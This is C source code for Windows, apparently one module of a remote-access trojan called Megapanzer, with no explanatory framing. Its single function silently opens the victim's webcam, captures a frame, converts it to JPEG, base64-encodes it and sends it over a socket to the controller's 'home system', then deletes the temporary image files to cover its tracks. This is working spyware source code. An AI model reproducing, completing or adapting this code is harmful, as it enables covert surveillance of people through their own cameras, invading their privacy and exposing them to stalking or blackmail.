Code:
#include <stdio.h>
#include <windows.h>
#include <Vfw.h>
#include "Megapanzer_Definitions.h"
extern HWND gWND;
DWORD WINAPI sendWebcamCaptureInfos(PVOID pParameter)
{
HWND lWndVideoHandle;
CAPSTATUS lCapStat;
DWORD lRetVal = 0;
char *lBMPFileName = "info.bmp";
char *lJPGFileName = "info.jpg";
char lJPGFileBaseName[MAX_BUF_SIZE + 1];
HANDLE lFileHandle = INVALID_HANDLE_VALUE;
DWORD lJPGFileSize = 0;
char *lPreEncodedData = NULL;
char *lEncodedData = NULL;
DWORD lBytesRead = 0;
char lTemp[MAX_BUF_SIZE + 1];
int lFuncRetVal = 0;
PANZER_COMMAND *lCommandStructure = (PANZER_COMMAND *) pParameter;
SYSTEMTIME lSystemTime;
/*
* initialize values
*/
ZeroMemory(&lCapStat, sizeof(CAPSTATUS));
ZeroMemory(&lSystemTime, sizeof(lSystemTime));
ZeroMemory(lJPGFileBaseName, sizeof(lJPGFileBaseName));
GetLocalTime(&lSystemTime);
snprintf(lJPGFileBaseName, sizeof(lJPGFileBaseName) - 1, "%04d-%02d-%02d-%02d-%02d-%02d.jpg", lSystemTime.wYear, lSystemTime.wMonth, lSystemTime.wDay, lSystemTime.wHour, lSystemTime.wMinute, lSystemTime.wSecond);
ZeroMemory(lTemp, sizeof(lTemp));
_snprintf(lTemp, sizeof(lTemp) - 1, "<webcam>");
lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0);
/*
* capture webcam frame
*/
Sleep(500);
lWndVideoHandle = capCreateCaptureWindow("WebCam",WS_CHILD, 0, 0, 320, 240,(HWND) gWND, (int) 1);
capDriverConnect(lWndVideoHandle, 0);
Sleep(1000);
capGetStatus(lWndVideoHandle, &lCapStat, sizeof(CAPSTATUS));
capGrabFrame(lWndVideoHandle);
capEditCopy(lWndVideoHandle);
capFileSaveDIB(lWndVideoHandle, lBMPFileName) ;
capDriverDisconnect(lWndVideoHandle) ;
DestroyWindow(lWndVideoHandle);
convertBMP2JPG(lBMPFileName, lJPGFileName);
if ((lFileHandle = CreateFileA(lJPGFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) != INVALID_HANDLE_VALUE)
{
lJPGFileSize = GetFileSize(lFileHandle, 0);
/*
* encocd created jpg file
*/
if ((lPreEncodedData = (char *) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, lJPGFileSize * 2)) != NULL)
{
ReadFile(lFileHandle, lPreEncodedData, lJPGFileSize, (unsigned long *) &lBytesRead, NULL);
CloseHandle(lFileHandle);
if ((lEncodedData = (char *) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, lJPGFileSize * 2)) != NULL)
{
/*
* transfer picture data to home system
*/
Base64encode(lEncodedData, lPreEncodedData, lBytesRead);
ZeroMemory(lTemp, sizeof(lTemp));
_snprintf(lTemp, sizeof(lTemp) - 1, "<filename>%s</filename><filecontent>", lJPGFileBaseName);
lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0);
lFuncRetVal = send(lCommandStructure->lRemoteSocket, lEncodedData, Base64encode_len(lBytesRead) - 1, 0);
ZeroMemory(lTemp, sizeof(lTemp));
_snprintf(lTemp, sizeof(lTemp) - 1, "</filecontent>");
lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0);
} // if ((lEncodedData = (char *) He...
} // if ((lPreEncodedData = (char *) HeapAlloc(GetP...
} // if ((lFileHandle = CreateFileA(lJPGFileFullPath,...
ZeroMemory(lTemp, sizeof(lTemp));
_snprintf(lTemp, sizeof(lTemp) - 1, "</webcam>");
lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0);
/*
* cleaning up before returning
*/
DeleteFile("info.bmp");
DeleteFile("info.jpg");
return(lRetVal);
}
